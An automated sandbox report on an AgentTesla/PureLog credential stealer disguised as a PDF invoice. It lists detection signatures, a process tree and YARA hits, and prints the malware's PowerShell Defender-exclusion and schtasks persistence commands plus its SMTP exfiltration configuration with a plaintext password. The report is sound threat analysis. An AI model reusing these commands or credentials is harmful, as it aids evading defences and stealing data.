Edit tour

Windows Analysis Report
SOA FOR APR 2024 PDF.exe

Overview

General Information

Sample name:	SOA FOR APR 2024 PDF.exe
Analysis ID:	1432007
MD5:	7a6e9d01d9162c7537ba8091187e4235
SHA1:	f5b69f4b0ec8cd0a4b7bab26a0de167c8cc535cd
SHA256:	7fd14673f73717b024728ae4248be0a1579f480a261c4f4d94742f230a01cb47
Tags:	exe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SOA FOR APR 2024 PDF.exe (PID: 1988 cmdline: "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

powershell.exe (PID: 4296 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3992 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7580 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7200 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SOA FOR APR 2024 PDF.exe (PID: 7384 cmdline: "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

eeBIYZL.exe (PID: 7512 cmdline: C:\Users\user\AppData\Roaming\eeBIYZL.exe MD5: 7A6E9D01D9162C7537BA8091187E4235)

schtasks.exe (PID: 7736 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

eeBIYZL.exe (PID: 7788 cmdline: "C:\Users\user\AppData\Roaming\eeBIYZL.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

BjTxJte.exe (PID: 7928 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

schtasks.exe (PID: 8132 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp9B5.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BjTxJte.exe (PID: 7216 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

BjTxJte.exe (PID: 7176 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

BjTxJte.exe (PID: 7240 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

schtasks.exe (PID: 7568 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp2ADA.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BjTxJte.exe (PID: 7364 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: 7A6E9D01D9162C7537BA8091187E4235)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.fascia-arch.com", "Username": "brian@fascia-arch.com", "Password": "HERbertstown1987"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.3282089409.000000000288C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2071533656.0000000003B69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000014.00000002.3285357778.00000000034FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.3283970574.000000000323C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3282284281.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2075260613.0000000005260000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 7384	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 7384	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: eeBIYZL.exe PID: 7512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eeBIYZL.exe PID: 7512	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: eeBIYZL.exe PID: 7512	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: eeBIYZL.exe PID: 7788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eeBIYZL.exe PID: 7788	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 7928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 7928	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BjTxJte.exe PID: 7928	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 7176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 7176	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 7240	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 7240	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BjTxJte.exe PID: 7240	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 7364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 7364	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.BjTxJte.exe.4bec170.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.BjTxJte.exe.4bec170.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.BjTxJte.exe.4bec170.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SOA FOR APR 2024 PDF.exe.5260000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.5260000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
21.2.BjTxJte.exe.45fc310.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
21.2.BjTxJte.exe.45fc310.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.BjTxJte.exe.4c27190.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.BjTxJte.exe.4c27190.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.BjTxJte.exe.4c27190.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
21.2.BjTxJte.exe.45fc310.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.eeBIYZL.exe.3fe9420.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.eeBIYZL.exe.3fe9420.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.eeBIYZL.exe.3fe9420.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
21.2.BjTxJte.exe.4637330.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
21.2.BjTxJte.exe.4637330.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
21.2.BjTxJte.exe.4637330.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.eeBIYZL.exe.3fae400.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.eeBIYZL.exe.3fae400.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.eeBIYZL.exe.3fae400.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31cfe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31dfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ef6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ffe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3208e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.BjTxJte.exe.4bec170.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.BjTxJte.exe.4bec170.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.BjTxJte.exe.4bec170.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6eb1e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa993e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6eb90:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa99b0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ec1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9a3a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ecac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9acc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ed16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa9b36:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ed88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa9ba8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ee1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa9c3e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
15.2.BjTxJte.exe.4c27190.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.BjTxJte.exe.4c27190.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.BjTxJte.exe.4c27190.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e91e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e990:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ea1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6eaac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6eb16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6eb88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ec1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e8e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ecae:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e91e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e990:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ea1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6eaac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6eb16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6eb88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ec1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e8e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ecae:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.eeBIYZL.exe.3fe9420.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.eeBIYZL.exe.3fe9420.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
